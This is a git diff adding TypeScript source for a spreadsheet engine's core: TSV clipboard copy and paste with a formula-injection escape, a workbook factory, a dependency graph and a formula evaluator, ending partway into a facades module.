diff --git a/packages/spreadsheet-core/src/clipboard.ts b/packages/spreadsheet-core/src/clipboard.ts
new file mode 100644
index 0000000000..bfb8f9c3e5
--- /dev/null
+++ b/packages/spreadsheet-core/src/clipboard.ts
@@ -0,0 +1,208 @@
+/**
+ * Clipboard interchange: serialize a rectangle to TSV and turn pasted TSV into
+ * patches.
+ *
+ * The formula-injection guard is *conditional* (this is the M5 refinement over
+ * the demo): a formula cell copies its real `=…` text verbatim, while a literal
+ * whose text begins with `= + @ -` is prefixed with `'` so another app can't
+ * execute it. On paste back into the engine, the leading `'` is understood as
+ * force-text, so the round-trip is lossless.
+ */
+
+import { pack } from './addr'
+import { isFormula } from './tx'
+import { translateFormula } from './fill'
+import type { Cell, Patch, Rect, Ref, SheetId } from './types'
+import type { WorkbookKernelBase } from './kernel'
+
+const DANGEROUS = /^[=+@-]/
+
+/** A copied block plus its origin, so pasted formulas can be re-anchored. */
+export interface Clipboard {
+ text: string
+ origin: Ref
+}
+
+// ---------------------------------------------------------------------------
+// Serialize
+// ---------------------------------------------------------------------------
+
+function cellToken(cell: Cell | undefined): string {
+ if (!cell) return ''
+ if (cell.kind === 'formula') return cell.input // real formula, copied verbatim
+ // Literal text that looks like a formula gets the injection guard.
+ if (typeof cell.value === 'string' && DANGEROUS.test(cell.input)) {
+ return "'" + cell.input
+ }
+ return cell.input
+}
+
+function escapeField(s: string): string {
+ if (
+ s.includes('\t') ||
+ s.includes('\n') ||
+ s.includes('\r') ||
+ s.includes('"')
+ ) {
+ return '"' + s.replace(/"/g, '""') + '"'
+ }
+ return s
+}
+
+/** Serialize a rectangle to TSV (dense, row-major; blanks are empty fields). */
+export function rangeToTSV(
+ workbook: WorkbookKernelBase,
+ sheet: SheetId,
+ rect: Rect,
+): string {
+ const lines: Array = []
+ for (let r = rect.r0; r <= rect.r1; r++) {
+ const fields: Array = []
+ for (let c = rect.c0; c <= rect.c1; c++) {
+ fields.push(
+ escapeField(cellToken(workbook.getSheet(sheet)?.get(pack(r, c)))),
+ )
+ }
+ lines.push(fields.join('\t'))
+ }
+ return lines.join('\n')
+}
+
+/** Copy a rectangle, capturing its origin for formula translation on paste. */
+export function copyRange(
+ workbook: WorkbookKernelBase,
+ sheet: SheetId,
+ rect: Rect,
+): Clipboard {
+ return {
+ text: rangeToTSV(workbook, sheet, rect),
+ origin: { sheet, row: rect.r0, col: rect.c0 },
+ }
+}
+
+// ---------------------------------------------------------------------------
+// Parse
+// ---------------------------------------------------------------------------
+
+/** Parse TSV into a grid of string tokens, honoring quoted fields. */
+export function parseTsv(text: string): Array> {
+ const rows: Array> = []
+ let row: Array = []
+ let field = ''
+ let quoted = false
+ let i = 0
+ const n = text.length
+
+ const endField = () => {
+ row.push(field)
+ field = ''
+ }
+ const endRow = () => {
+ endField()
+ rows.push(row)
+ row = []
+ }
+
+ while (i < n) {
+ const ch = text[i]!
+ if (quoted) {
+ if (ch === '"') {
+ if (text[i + 1] === '"') {
+ field += '"'
+ i += 2
+ continue
+ }
+ quoted = false
+ i++
+ continue
+ }
+ field += ch
+ i++
+ continue
+ }
+ if (ch === '"') {
+ quoted = true
+ i++
+ } else if (ch === '\t') {
+ endField()
+ i++
+ } else if (ch === '\n') {
+ endRow()
+ i++
+ } else if (ch === '\r') {
+ // swallow CR (handles CRLF)
+ i++
+ } else {
+ field += ch
+ i++
+ }
+ }
+ // trailing field/row (unless the text ended exactly on a newline)
+ if (field !== '' || row.length > 0) endRow()
+ return rows
+}
+
+// ---------------------------------------------------------------------------
+// Paste
+// ---------------------------------------------------------------------------
+
+/**
+ * Build patches for pasting `clip` at `target`.
+ *
+ * - A {@link Clipboard} (internal copy) translates formulas by the offset from
+ * its origin to `target`, so relative refs move like Excel's copy/paste.
+ * - A raw TSV string (external paste) is applied verbatim — no translation.
+ * - `into` enables single-value-fills-range: a 1×1 clip fills the whole rect.
+ */
+export function buildPastePatches(
+ workbook: WorkbookKernelBase,
+ target: Ref,
+ clip: Clipboard | string,
+ into?: Rect,
+): Array {
+ const text = typeof clip === 'string' ? clip : clip.text
+ const grid = parseTsv(text)
+ if (grid.length === 0) return []
+
+ const dRow = typeof clip === 'string' ? 0 : target.row - clip.origin.row
+ const dCol = typeof clip === 'string' ? 0 : target.col - clip.origin.col
+ const translateFormulas = typeof clip !== 'string'
+
+ const tokenAt = (r: number, c: number): string =>
+ grid[r % grid.length]![c % grid[r % grid.length]!.length] ?? ''
+
+ const patches: Array = []
+ const put = (row: number, col: number, token: string) => {
+ let input = token
+ if (translateFormulas && isFormula(token)) {
+ input = translateFormula(token, dRow, dCol)
+ }
+ patches.push(...workbook.setInput({ sheet: target.sheet, row, col }, input))
+ }
+
+ const singleValueFill = into && grid.length === 1 && grid[0]!.length === 1
+ if (singleValueFill) {
+ const src = grid[0]![0]!
+ const origin = typeof clip === 'string' ? target : clip.origin
+ for (let row = into.r0; row <= into.r1; row++) {
+ for (let col = into.c0; col <= into.c1; col++) {
+ const input =
+ translateFormulas && isFormula(src)
+ ? translateFormula(src, row - origin.row, col - origin.col)
+ : src
+ patches.push(
+ ...workbook.setInput({ sheet: target.sheet, row, col }, input),
+ )
+ }
+ }
+ return patches
+ }
+
+ for (let r = 0; r < grid.length; r++) {
+ const cols = grid[r]!.length
+ for (let c = 0; c < cols; c++) {
+ put(target.row + r, target.col + c, tokenAt(r, c))
+ }
+ }
+ return patches
+}
diff --git a/packages/spreadsheet-core/src/construct.ts b/packages/spreadsheet-core/src/construct.ts
new file mode 100644
index 0000000000..8545b6f2b7
--- /dev/null
+++ b/packages/spreadsheet-core/src/construct.ts
@@ -0,0 +1,45 @@
+/**
+ * The lean workbook factory.
+ *
+ * `constructWorkbook` builds a {@link WorkbookKernelBase} and registers exactly
+ * the capabilities the caller opts into, returning a {@link WorkbookOf} typed to
+ * that set. Unlike `createWorkbook` / `new Workbook()`, this module does **not**
+ * statically import `./functions` (the ~1375-line builtin catalog) nor the full
+ * capability set, so a consumer who supplies their own `functions` and a narrow
+ * `capabilities` record gets a module graph free of the heavy defaults.
+ */
+
+import { WorkbookKernelBase } from './kernel'
+import type { WorkbookKernelOptions, WorkbookOptions } from './kernel'
+import type { WorkbookCapabilities } from './capability'
+import type { WorkbookOf } from './workbook'
+
+/** Options for {@link constructWorkbook}: workbook options plus a capability set. */
+export interface ConstructWorkbookOptions<
+ TCaps extends WorkbookCapabilities,
+> extends WorkbookOptions {
+ /** The capabilities to register. Only these contribute methods to the type. */
+ capabilities: TCaps
+}
+
+/**
+ * Build a workbook with a caller-chosen capability set, typed to exactly those
+ * capabilities. The lean, tree-shakeable entry point: pass `functions` to avoid
+ * pulling in the builtin catalog, and only the capabilities you reference are
+ * bundled.
+ *
+ * @example
+ * import { constructWorkbook } from '@tanstack/spreadsheet-core'
+ * import { formatsCapability } from '@tanstack/spreadsheet-core/capabilities'
+ * const wb = constructWorkbook({
+ * functions: myRegistry,
+ * capabilities: { formatsCapability },
+ * })
+ * wb.setFormat({ sheet: 's', row: 0, col: 0 }, '0.00%') // typed
+ */
+export function constructWorkbook(
+ opts: ConstructWorkbookOptions,
+): WorkbookOf {
+ const kernelOpts: WorkbookKernelOptions = opts
+ return new WorkbookKernelBase(kernelOpts) as unknown as WorkbookOf
+}
diff --git a/packages/spreadsheet-core/src/deps.ts b/packages/spreadsheet-core/src/deps.ts
new file mode 100644
index 0000000000..d8f4338c7c
--- /dev/null
+++ b/packages/spreadsheet-core/src/deps.ts
@@ -0,0 +1,225 @@
+/**
+ * Dependency graph: precedents/dependents for scalar refs, plus a
+ * dirty-rectangle bucket index (and a separate whole-line registry) for range
+ * refs. Node identity is workbook-global — `${sheet}\u0000${cellKey}` — because
+ * dependencies cross sheets.
+ *
+ * The load-bearing correctness rule is *diffing*: when a formula changes we add
+ * and remove exactly the edges that changed, on both scalar and range sides.
+ * Clearing-and-rebuilding, or forgetting to remove reverse edges on delete,
+ * leaves stale dependents and permanent over-invalidation.
+ */
+
+import { rectContains } from './addr'
+import type { CellKey, Rect, SheetId } from './types'
+
+export type NodeId = string
+
+const SEP = '\u0000'
+
+export function nodeId(sheet: SheetId, key: CellKey): NodeId {
+ return sheet + SEP + key
+}
+export function decodeNode(id: NodeId): { sheet: SheetId; key: CellKey } {
+ const i = id.lastIndexOf(SEP)
+ return { sheet: id.slice(0, i), key: Number(id.slice(i + 1)) }
+}
+
+/** Coarse bucket dimensions. Rows are the huge axis, so the band is coarser. */
+const BAND_ROWS = 4096
+const BAND_COLS = 64
+
+function bucketKey(sheet: SheetId, row: number, col: number): string {
+ return `${sheet}${SEP}${Math.floor(row / BAND_ROWS)}${SEP}${Math.floor(col / BAND_COLS)}`
+}
+
+/** A range dependency: one formula reading one rectangle on one sheet. */
+export interface RangeDep {
+ formula: NodeId
+ sheet: SheetId
+ rect: Rect
+ /** Bucket keys this dep is registered in (empty when `whole`). */
+ buckets: Array
+ /** Whole-column or whole-row ranges bypass bucketing (they'd explode it). */
+ whole: boolean
+}
+
+/** A formula's precedents, as computed from its AST. */
+export interface Precedents {
+ scalar: Set
+ ranges: Array<{ sheet: SheetId; rect: Rect }>
+ volatile: boolean
+}
+
+export class DepGraph {
+ private readonly precedents = new Map>()
+ private readonly dependents = new Map>()
+ private readonly nodeRanges = new Map>()
+ private readonly bucketIndex = new Map>()
+ private readonly wholeRanges = new Map>()
+ readonly volatile = new Set()
+
+ /** Replace a formula's precedents, diffing scalar edges and re-registering ranges. */
+ setPrecedents(node: NodeId, next: Precedents): void {
+ // --- scalar edges: add/remove only what changed ---
+ const prev = this.precedents.get(node) ?? EMPTY
+ for (const p of prev) {
+ if (!next.scalar.has(p)) this.removeDependent(p, node)
+ }
+ for (const p of next.scalar) {
+ if (!prev.has(p)) this.addDependent(p, node)
+ }
+ if (next.scalar.size > 0) this.precedents.set(node, next.scalar)
+ else this.precedents.delete(node)
+
+ // --- range edges: unregister old, register new ---
+ this.unregisterRanges(node)
+ if (next.ranges.length > 0) {
+ const deps: Array = []
+ for (const { sheet, rect } of next.ranges) {
+ deps.push(this.registerRange(node, sheet, rect))
+ }
+ this.nodeRanges.set(node, deps)
+ }
+
+ // --- volatile ---
+ if (next.volatile) this.volatile.add(node)
+ else this.volatile.delete(node)
+ }
+
+ /** Remove all outgoing edges of a node (it became a literal or was deleted). */
+ clearNode(node: NodeId): void {
+ this.setPrecedents(node, { scalar: new Set(), ranges: [], volatile: false })
+ }
+
+ /** Formulas that directly reference `node` via a scalar ref. */
+ dependentsOf(node: NodeId): Iterable {
+ return this.dependents.get(node) ?? EMPTY
+ }
+
+ /** Scalar precedents of `node` (for topo ordering). */
+ scalarPrecedentsOf(node: NodeId): Iterable {
+ return this.precedents.get(node) ?? EMPTY
+ }
+
+ /**
+ * Precedent nodes living on `sheet` that have at least one dependent — i.e.
+ * the cells of a (virtual) sheet that some formula reads. Used to invalidate
+ * every reader of a virtual sheet when its backing state changes (§6.2).
+ */
+ precedentNodesOnSheet(sheet: SheetId): Array {
+ const out: Array = []
+ for (const node of this.dependents.keys()) {
+ if (decodeNode(node).sheet === sheet) out.push(node)
+ }
+ return out
+ }
+
+ /** Range deps owned by `node` (for topo ordering against dirty cells). */
+ rangesOf(node: NodeId): ReadonlyArray {
+ return this.nodeRanges.get(node) ?? []
+ }
+
+ /** Formulas whose range covers the cell at (sheet, row, col). */
+ rangeFormulasCovering(sheet: SheetId, row: number, col: number): Set {
+ const out = new Set()
+ const bucket = this.bucketIndex.get(bucketKey(sheet, row, col))
+ if (bucket) {
+ for (const dep of bucket) {
+ if (rectContains(dep.rect, row, col)) out.add(dep.formula)
+ }
+ }
+ const whole = this.wholeRanges.get(sheet)
+ if (whole) {
+ for (const dep of whole) {
+ if (rectContains(dep.rect, row, col)) out.add(dep.formula)
+ }
+ }
+ return out
+ }
+
+ // -------------------------------------------------------------------------
+
+ private addDependent(precedent: NodeId, dependent: NodeId): void {
+ let set = this.dependents.get(precedent)
+ if (!set) {
+ set = new Set()
+ this.dependents.set(precedent, set)
+ }
+ set.add(dependent)
+ }
+
+ private removeDependent(precedent: NodeId, dependent: NodeId): void {
+ const set = this.dependents.get(precedent)
+ if (!set) return
+ set.delete(dependent)
+ if (set.size === 0) this.dependents.delete(precedent)
+ }
+
+ private registerRange(node: NodeId, sheet: SheetId, rect: Rect): RangeDep {
+ const whole = this.isWhole(rect)
+ const dep: RangeDep = { formula: node, sheet, rect, buckets: [], whole }
+ if (whole) {
+ let set = this.wholeRanges.get(sheet)
+ if (!set) {
+ set = new Set()
+ this.wholeRanges.set(sheet, set)
+ }
+ set.add(dep)
+ } else {
+ for (
+ let rb = Math.floor(rect.r0 / BAND_ROWS);
+ rb <= Math.floor(rect.r1 / BAND_ROWS);
+ rb++
+ ) {
+ for (
+ let cb = Math.floor(rect.c0 / BAND_COLS);
+ cb <= Math.floor(rect.c1 / BAND_COLS);
+ cb++
+ ) {
+ const key = `${sheet}${SEP}${rb}${SEP}${cb}`
+ dep.buckets.push(key)
+ let set = this.bucketIndex.get(key)
+ if (!set) {
+ set = new Set()
+ this.bucketIndex.set(key, set)
+ }
+ set.add(dep)
+ }
+ }
+ }
+ return dep
+ }
+
+ private unregisterRanges(node: NodeId): void {
+ const deps = this.nodeRanges.get(node)
+ if (!deps) return
+ for (const dep of deps) {
+ if (dep.whole) {
+ this.wholeRanges.get(dep.sheet)?.delete(dep)
+ } else {
+ for (const key of dep.buckets) {
+ const set = this.bucketIndex.get(key)
+ if (set) {
+ set.delete(dep)
+ if (set.size === 0) this.bucketIndex.delete(key)
+ }
+ }
+ }
+ }
+ this.nodeRanges.delete(node)
+ }
+
+ private isWhole(rect: Rect): boolean {
+ // A range covers so many bands it should skip bucketing: any range whose row
+ // span exceeds a handful of bands (e.g. whole columns `A:A`) or col span
+ // exceeds a handful (whole rows `1:1`).
+ const rowBands =
+ Math.floor(rect.r1 / BAND_ROWS) - Math.floor(rect.r0 / BAND_ROWS)
+ const colBands =
+ Math.floor(rect.c1 / BAND_COLS) - Math.floor(rect.c0 / BAND_COLS)
+ return rowBands > 8 || colBands > 8
+ }
+}
+
+const EMPTY: Set = new Set()
diff --git a/packages/spreadsheet-core/src/eval.ts b/packages/spreadsheet-core/src/eval.ts
new file mode 100644
index 0000000000..cfdd367f04
--- /dev/null
+++ b/packages/spreadsheet-core/src/eval.ts
@@ -0,0 +1,559 @@
+/**
+ * Evaluator: walk an AST against a resolver + function registry, producing a
+ * CellValue. Errors are values and propagate through every operator.
+ */
+
+import { makeRect } from './addr'
+import type {
+ AsyncArgValue,
+ AsyncRequest,
+ Clock,
+ FnArgs,
+ FunctionPorts,
+ FunctionRegistry,
+ RangeArg,
+ Rng,
+ VisibilityPort,
+} from './ports'
+import type { Sheet } from './sheet'
+import type {
+ BlockingValue,
+ CellValue,
+ ErrorCode,
+ ErrorValue,
+ NameNode,
+ Node,
+ PendingValue,
+ RangeNode,
+ Ref,
+ RefNode,
+ SheetId,
+} from './types'
+
+/**
+ * The evaluator's view of the async scheduler (§3). The evaluator stays
+ * synchronous: on reaching an async call it looks up a cached result or records
+ * a request and returns `pending`. It never awaits.
+ */
+export interface AsyncEvalHook {
+ /** Resolved/cached value for a call key, or `undefined` if not yet available. */
+ lookup: (key: string) => CellValue | undefined
+ /** Register a cache-miss request produced during this recalc pass. */
+ collect: (req: AsyncRequest, cell?: Ref) => void
+}
+
+/** What the evaluator needs from the workbook — kept narrow for testability. */
+export interface Environment {
+ getCellValue: (sheet: SheetId, row: number, col: number) => CellValue
+ getSheet: (sheet: SheetId) => Sheet | undefined
+ functions: FunctionRegistry
+ clock: Clock
+ rng: Rng
+ visibility?: VisibilityPort
+ /** Host-provided ports surfaced to every function via `FnContext.ports`. */
+ ports?: FunctionPorts
+ /** Async scheduler hook; absent for purely synchronous workbooks. */
+ async?: AsyncEvalHook
+ /**
+ * Resolve a defined name to its definition AST, given the sheet of the
+ * formula that references it (for sheet-scope fallback). `undefined` when the
+ * name is not defined (the evaluator then yields `#NAME?`). Absent entirely on
+ * environments with no name table.
+ */
+ resolveName?: (
+ name: string,
+ ownerSheet: SheetId | undefined,
+ scope?: SheetId,
+ ) => Node | undefined
+ /**
+ * The workbook's sheets in order — load-bearing for 3D ranges, whose span is
+ * the slice between the two endpoint sheets. Absent environments treat every
+ * range as single-sheet.
+ */
+ sheetOrder?: () => Array
+}
+
+/**
+ * The call key for an async request: `name + version + argument values` (§3.1).
+ * Stable and deterministic so the whole workbook dedupes on it and a saved
+ * result rehydrates to the same key. Blocking args never reach here (the
+ * evaluator propagates them first), so a plain JSON encoding is sufficient.
+ */
+/**
+ * Field separator inside a call key (the name, version, and JSON-encoded args). A NUL, so it can't
+ * occur in a function name or JSON — the scheduler splits/prefixes on it for
+ * per-function invalidation.
+ */
+export const CALL_KEY_SEP = '\u0000'
+
+export function callKey(
+ name: string,
+ version: string,
+ args: Array,
+): string {
+ return (
+ name.toUpperCase() +
+ CALL_KEY_SEP +
+ version +
+ CALL_KEY_SEP +
+ JSON.stringify(args)
+ )
+}
+
+export function err(code: ErrorCode, detail?: string): ErrorValue {
+ return detail === undefined
+ ? { kind: 'error', code }
+ : { kind: 'error', code, detail }
+}
+export function isErr(v: CellValue): v is ErrorValue {
+ return v !== null && typeof v === 'object' && v.kind === 'error'
+}
+
+/** The single shared `pending` marker (identity is irrelevant — it is a tag). */
+const PENDING: PendingValue = { kind: 'pending' }
+export function pending(): PendingValue {
+ return PENDING
+}
+export function isPending(v: CellValue): v is PendingValue {
+ return v !== null && typeof v === 'object' && v.kind === 'pending'
+}
+
+/**
+ * True for values that short-circuit evaluation — errors *and* not-yet-arrived
+ * (`pending`) results. Both propagate the same way through operators and
+ * coercions; functions that must distinguish them (e.g. `IFERROR`, `IFPENDING`)
+ * check {@link isErr}/{@link isPending} explicitly instead.
+ */
+export function isBlocking(v: CellValue): v is BlockingValue {
+ return (
+ v !== null &&
+ typeof v === 'object' &&
+ (v.kind === 'error' || v.kind === 'pending')
+ )
+}
+
+// ---------------------------------------------------------------------------
+// Coercions
+// ---------------------------------------------------------------------------
+
+/** Coerce to a number for arithmetic. Errors and `pending` propagate unchanged. */
+export function toNum(v: CellValue): number | BlockingValue {
+ if (isBlocking(v)) return v
+ if (typeof v === 'number') return v
+ if (typeof v === 'boolean') return v ? 1 : 0
+ if (v === null) return 0
+ const n = Number(v)
+ if (v.trim() !== '' && !Number.isNaN(n) && Number.isFinite(n)) return n
+ return err('#VALUE!')
+}
+
+/** Coerce to a display string. Errors and `pending` propagate unchanged. */
+export function toStr(v: CellValue): string | BlockingValue {
+ if (isBlocking(v)) return v
+ if (v === null) return ''
+ if (typeof v === 'boolean') return v ? 'TRUE' : 'FALSE'
+ if (typeof v === 'number') return String(v)
+ return v
+}
+
+/** Coerce to boolean for logical contexts. Blank/"" is false. */
+export function toBool(v: CellValue): boolean | BlockingValue {
+ if (isBlocking(v)) return v
+ if (typeof v === 'boolean') return v
+ if (typeof v === 'number') return v !== 0
+ if (v === null) return false
+ const u = v.toUpperCase()
+ if (u === 'TRUE') return true
+ if (u === 'FALSE' || u === '') return false
+ return err('#VALUE!')
+}
+
+/** Numeric view for comparison, or null if the value is non-numeric text. */
+function compNum(v: CellValue): number | null {
+ if (isBlocking(v)) return null
+ if (typeof v === 'number') return v
+ if (typeof v === 'boolean') return v ? 1 : 0
+ if (v === null) return 0
+ const n = Number(v)
+ return v.trim() !== '' && !Number.isNaN(n) ? n : null
+}
+
+/** Excel-ish loose ordering: numeric when both sides read as numbers, else text. */
+export function looseCompare(a: CellValue, b: CellValue): number {
+ const na = compNum(a)
+ const nb = compNum(b)
+ if (na !== null && nb !== null) return na < nb ? -1 : na > nb ? 1 : 0
+ const sa = String(a ?? '').toUpperCase()
+ const sb = String(b ?? '').toUpperCase()
+ return sa < sb ? -1 : sa > sb ? 1 : 0
+}
+
+// ---------------------------------------------------------------------------
+// Range materialization
+// ---------------------------------------------------------------------------
+
+function rangeArgFromRect(
+ env: Environment,
+ sheet: SheetId,
+ r0: number,
+ c0: number,
+ r1: number,
+ c1: number,
+): RangeArg {
+ const rect = makeRect(r0, c0, r1, c1)
+ return {
+ sheet,
+ r0: rect.r0,
+ c0: rect.c0,
+ rows: rect.r1 - rect.r0 + 1,
+ cols: rect.c1 - rect.c0 + 1,
+ *cells() {
+ const s = env.getSheet(sheet)
+ if (!s) return
+ for (const hit of s.iterateRect(rect)) {
+ yield {
+ r: hit.row - rect.r0,
+ c: hit.col - rect.c0,
+ value: hit.cell.value,
+ }
+ }
+ },
+ at(r, c) {
+ return env.getCellValue(sheet, rect.r0 + r, rect.c0 + c)
+ },
+ }
+}
+
+/**
+ * A 3D range spanning `span` sheets: the same rectangle on each sheet, stacked
+ * row-wise so sheet `k` occupies rows `[k*rectRows, (k+1)*rectRows)`. Aggregates
+ * (SUM/COUNT/…) read `cells()` across the stack; `at()` maps a flat row back to
+ * its sheet. Sheets in the span with no backing `Sheet` contribute nothing.
+ */
+function multiSheetRangeArg(
+ env: Environment,
+ span: Array,
+ start: RefNode,
+ end: RefNode,
+): RangeArg {
+ const rect = makeRect(start.row, start.col, end.row, end.col)
+ const rectRows = rect.r1 - rect.r0 + 1
+ const rectCols = rect.c1 - rect.c0 + 1
+ return {
+ sheet: span[0]!,
+ r0: rect.r0,
+ c0: rect.c0,
+ rows: span.length * rectRows,
+ cols: rectCols,
+ *cells() {
+ for (let k = 0; k < span.length; k++) {
+ const s = env.getSheet(span[k]!)
+ if (!s) continue
+ const base = k * rectRows
+ for (const hit of s.iterateRect(rect)) {
+ yield {
+ r: base + (hit.row - rect.r0),
+ c: hit.col - rect.c0,
+ value: hit.cell.value,
+ }
+ }
+ }
+ },
+ at(r, c) {
+ const k = Math.floor(r / rectRows)
+ const sheet = span[k]
+ if (sheet === undefined) return null
+ return env.getCellValue(sheet, rect.r0 + (r % rectRows), rect.c0 + c)
+ },
+ }
+}
+
+function rangeFromRangeNode(
+ node: RangeNode,
+ env: Environment,
+): RangeArg | null {
+ const s0 = node.start.sheet
+ const s1 = node.end.sheet
+ if (s0 === undefined || s1 === undefined) return null
+ if (s0 === s1) {
+ return rangeArgFromRect(
+ env,
+ s0,
+ node.start.row,
+ node.start.col,
+ node.end.row,
+ node.end.col,
+ )
+ }
+ // 3D range: iterate the block on every sheet in the span, in workbook order.
+ const order = env.sheetOrder ? env.sheetOrder() : []
+ const i0 = order.indexOf(s0)
+ const i1 = order.indexOf(s1)
+ if (i0 < 0 || i1 < 0) return null
+ const span = order.slice(Math.min(i0, i1), Math.max(i0, i1) + 1)
+ return multiSheetRangeArg(env, span, node.start, node.end)
+}
+
+/** Resolve a defined-name node against the environment's name table. */
+function resolveNameNode(
+ node: NameNode,
+ env: Environment,
+ cell?: Ref,
+): Node | undefined {
+ return env.resolveName?.(node.name, cell?.sheet, node.sheet)
+}
+
+/**
+ * Materialize a {@link RangeArg} to a dense 2D grid for an async argument,
+ * propagating any blocking cell. Bounded: a range larger than 65 536 cells is
+ * rejected (`#VALUE!`) rather than materialized — async range arguments are
+ * label lists, not whole columns.
+ */
+function materializeGrid(
+ rng: RangeArg,
+): Array> | BlockingValue {
+ if (rng.rows * rng.cols > 65_536) return err('#VALUE!')
+ const grid: Array> = []
+ for (let r = 0; r < rng.rows; r++) {
+ const row: Array = []
+ for (let c = 0; c < rng.cols; c++) {
+ const v = rng.at(r, c)
+ if (isBlocking(v)) return v
+ row.push(v)
+ }
+ grid.push(row)
+ }
+ return grid
+}
+
+/** True when a node denotes a multi-cell range — a `range`, or a name bound to one. */
+function isRangeShaped(node: Node, env: Environment, cell?: Ref): boolean {
+ if (node.type === 'range') return true
+ if (node.type === 'name') {
+ const def = env.resolveName?.(node.name, cell?.sheet, node.sheet)
+ return def?.type === 'range'
+ }
+ return false
+}
+
+function rangeArgOf(node: Node, env: Environment, cell?: Ref): RangeArg | null {
+ if (node.type === 'range') return rangeFromRangeNode(node, env)
+ if (node.type === 'ref') {
+ const r = node
+ if (r.sheet === undefined) return null
+ return rangeArgFromRect(env, r.sheet, r.row, r.col, r.row, r.col)
+ }
+ if (node.type === 'name') {
+ const def = resolveNameNode(node, env, cell)
+ // A name that binds to a range/ref materializes like one written inline.
+ if (def && (def.type === 'range' || def.type === 'ref')) {
+ return rangeArgOf(def, env, cell)
+ }
+ return null
+ }
+ return null
+}
+
+// ---------------------------------------------------------------------------
+// Evaluation
+// ---------------------------------------------------------------------------
+
+/**
+ * Evaluate an AST to a scalar `CellValue`. `cell`, when supplied, is the cell
+ * that owns the formula; it flows unchanged into each `FnContext.cell` so
+ * functions can know their location (ad-hoc `runFormula` passes none).
+ */
+export function evaluate(ast: Node, env: Environment, cell?: Ref): CellValue {
+ return evalScalar(ast, env, cell)
+}
+
+function evalScalar(node: Node, env: Environment, cell?: Ref): CellValue {
+ switch (node.type) {
+ case 'number':
+ return node.value
+ case 'string':
+ return node.value
+ case 'bool':
+ return node.value
+ case 'error':
+ return err(node.code)
+ case 'ref': {
+ if (node.sheet === undefined) return err('#REF!')
+ return env.getCellValue(node.sheet, node.row, node.col)
+ }
+ case 'range':
+ // A range used where a single value is expected.
+ return err('#VALUE!')
+ case 'name': {
+ const def = resolveNameNode(node, env, cell)
+ if (!def) return err('#NAME?')
+ // A name bound to a range used in scalar context is a #VALUE! like a bare
+ // range; otherwise evaluate its definition in place.
+ return evalScalar(def, env, cell)
+ }
+ case 'unary':
+ return evalUnary(node, env, cell)
+ case 'binary':
+ return evalBinary(node, env, cell)
+ case 'call':
+ return evalCall(node, env, cell)
+ }
+}
+
+function evalUnary(
+ node: Extract,
+ env: Environment,
+ cell?: Ref,
+): CellValue {
+ const v = toNum(evalScalar(node.operand, env, cell))
+ if (isBlocking(v)) return v
+ switch (node.op) {
+ case '-':
+ return -v
+ case '+':
+ return v
+ case '%':
+ return v / 100
+ }
+}
+
+function evalBinary(
+ node: Extract,
+ env: Environment,
+ cell?: Ref,
+): CellValue {
+ const op = node.op
+
+ if (op === '&') {
+ const a = toStr(evalScalar(node.left, env, cell))
+ if (isBlocking(a)) return a
+ const b = toStr(evalScalar(node.right, env, cell))
+ if (isBlocking(b)) return b
+ return a + b
+ }
+
+ if (
+ op === '=' ||
+ op === '<>' ||
+ op === '<' ||
+ op === '<=' ||
+ op === '>' ||
+ op === '>='
+ ) {
+ const a = evalScalar(node.left, env, cell)
+ if (isBlocking(a)) return a
+ const b = evalScalar(node.right, env, cell)
+ if (isBlocking(b)) return b
+ const c = looseCompare(a, b)
+ switch (op) {
+ case '=':
+ return c === 0
+ case '<>':
+ return c !== 0
+ case '<':
+ return c < 0
+ case '<=':
+ return c <= 0
+ case '>':
+ return c > 0
+ case '>=':
+ return c >= 0
+ }
+ }
+
+ // arithmetic
+ const a = toNum(evalScalar(node.left, env, cell))
+ if (isBlocking(a)) return a
+ const b = toNum(evalScalar(node.right, env, cell))
+ if (isBlocking(b)) return b
+ switch (op) {
+ case '+':
+ return a + b
+ case '-':
+ return a - b
+ case '*':
+ return a * b
+ case '/':
+ return b === 0 ? err('#DIV/0!') : a / b
+ case '^': {
+ const r = Math.pow(a, b)
+ return Number.isFinite(r) ? r : err('#NUM!')
+ }
+ }
+}
+
+function evalCall(
+ node: Extract,
+ env: Environment,
+ cell?: Ref,
+): CellValue {
+ const def = env.functions.get(node.name)
+ if (!def) return err('#NAME?')
+
+ const min = def.minArgs ?? 0
+ const max = def.maxArgs ?? min
+ if (node.args.length < min || node.args.length > max) return err('#VALUE!')
+
+ // --- async functions: look up the cache or record a request, return pending --
+ if (def.kind === 'async') {
+ if (!env.async) return pending() // no scheduler wired: result can't arrive
+ const argv: Array = []
+ for (let i = 0; i < node.args.length; i++) {
+ // A genuine range argument (a `A1:B2` range, or a name resolving to one)
+ // is materialized to a 2D grid and folded into the call key by content — a
+ // non-builtin async function gets ranges like a builtin. A single-cell ref
+ // stays a scalar (so `JEV.CHOICE(A2, "csv")` is unaffected).
+ const argNode = node.args[i]!
+ if (isRangeShaped(argNode, env, cell)) {
+ const rng = rangeArgOf(argNode, env, cell)
+ const grid = rng ? materializeGrid(rng) : err('#REF!')
+ // A 2D array is the materialized grid; anything else is a blocking value.
+ if (!Array.isArray(grid)) return grid
+ argv.push(grid)
+ continue
+ }
+ const v = evalScalar(argNode, env, cell)
+ // A blocking (pending/error) argument means we can't form a stable call
+ // key yet — propagate it rather than firing a request against a stale key.
+ if (isBlocking(v)) return v
+ argv.push(v)
+ }
+ const version = def.version ?? '0'
+ const key = callKey(node.name, version, argv)
+ const cached = env.async.lookup(key)
+ if (cached !== undefined) return cached
+ env.async.collect(
+ { name: node.name.toUpperCase(), version, args: argv, key },
+ cell,
+ )
+ return pending()
+ }
+
+ if (!def.evaluate) return err('#VALUE!') // misconfigured async-less descriptor
+
+ const scalarCache = new Map()
+ const args: FnArgs = {
+ length: node.args.length,
+ scalar(i) {
+ if (scalarCache.has(i)) return scalarCache.get(i)!
+ const v = evalScalar(node.args[i]!, env, cell)
+ scalarCache.set(i, v)
+ return v
+ },
+ range(i) {
+ return rangeArgOf(node.args[i]!, env, cell)
+ },
+ node(i) {
+ return node.args[i]!
+ },
+ }
+
+ return def.evaluate({
+ args,
+ clock: env.clock,
+ rng: env.rng,
+ visibility: env.visibility,
+ ports: env.ports,
+ cell,
+ })
+}
diff --git a/packages/spreadsheet-core/src/facades.ts b/packages/spreadsheet-core/src/facades.ts
new file mode 100644
index 0000000000..3d1932efca
--- /dev/null
+++ b/packages/spreadsheet-core/src/facades.ts
@@ -0,0 +1,114 @@
+/**
+ * Workbook → Store facades. A cell or region is exposed as a **real**
+ * `@tanstack/store` computed atom (`ReadonlyAtom`) — not a `{ state, subscribe }`
